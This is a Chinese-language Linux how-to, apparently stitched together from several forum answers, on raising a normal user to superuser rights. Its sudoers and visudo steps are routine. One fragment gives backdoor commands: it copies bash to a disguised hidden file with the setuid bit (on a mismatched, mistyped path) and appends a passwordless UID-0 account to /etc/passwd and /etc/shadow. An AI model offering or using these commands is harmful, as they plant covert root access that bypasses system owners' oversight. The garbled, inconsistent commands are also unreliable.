普通用户权限设置为超级用户权限方法:
本例将lj123用户权限提升到超级用户
1. 进入超级用户模式。即输入"su",系统会让你输入超级用户密码,输入密码后就进入了超级用户模式。
2. 添加文件的写权限。
chmod u+w /etc/sudoers
3. 编辑/etc/sudoers文件。即输入命令"vim /etc/sudoers",找到这一行:"root ALL=(ALL) ALL"在起下面添加"xxx ALL=(ALL) ALL"(这里的xxx是要改的用户名,本例为lj123),然后保存
.代码如下:
lj123 ALL=(ALL) ALL
u 这里指文件所有者
+w 添加可写权限
u+x 指只用当前用户具有可写权限
4. 撤销文件的写权限。
.代码如下:
chmod u-w /etc/sudoers
修改/etc/passwd即可,把用户名的ID和ID组修改成0。
至于/etc/group是否修改,经过测试,不修改也行的,修改了也没问题。
最好还是用 SElinux ,或者这个用户用 sudo ,你可以设置 sudo 对某个用户不需要密码认证。
随便就把普通用户提升为不需要认证就能实现根用户权限的方式不符合 Linux 最基本的安全原则。
1.设置s权限位
cp /bin/bash /dev/.config/config.ini
chmod u+s /cinfig.ini
2.修改 root id
echo "e4gle:x:0:0::/:/bin/sh" >> /etc/passwd
echo "e4gle::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
linux不允许空密码登陆,
passwd e4gle即可
#visudo +76
root ALL=(ALL) ALL
#在此行下面添加普通用户例如abc
abc ALL=(ALL) ALL